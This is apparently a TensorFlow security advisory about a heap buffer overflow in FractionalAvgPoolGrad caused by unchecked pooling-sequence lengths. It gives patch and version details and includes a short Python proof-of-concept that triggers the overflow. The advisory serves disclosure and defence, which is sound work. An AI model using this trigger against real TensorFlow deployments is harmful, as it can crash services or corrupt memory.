Heap buffer overflow in `FractionalAvgPoolGrad`

Impact

The implementation of tf.raw_ops.FractionalAvgPoolGrad is vulnerable to a heap buffer overflow:

import tensorflow as tf

orig_input_tensor_shape = tf.constant([1, 3, 2, 3], shape=[4], dtype=tf.int64)
out_backprop = tf.constant([2], shape=[1, 1, 1, 1], dtype=tf.int64)
row_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)
col_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)


tf.raw_ops.FractionalAvgPoolGrad(
  orig_input_tensor_shape=orig_input_tensor_shape, out_backprop=out_backprop,
  row_pooling_sequence=row_pooling_sequence,
  col_pooling_sequence=col_pooling_sequence, overlapping=False)

The implementation fails to validate that the pooling sequence arguments have enough elements as required by the out_backprop tensor shape.

Patches

We have patched the issue in GitHub commit 12c727cee857fa19be717f336943d95fca4ffe4f.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

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Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.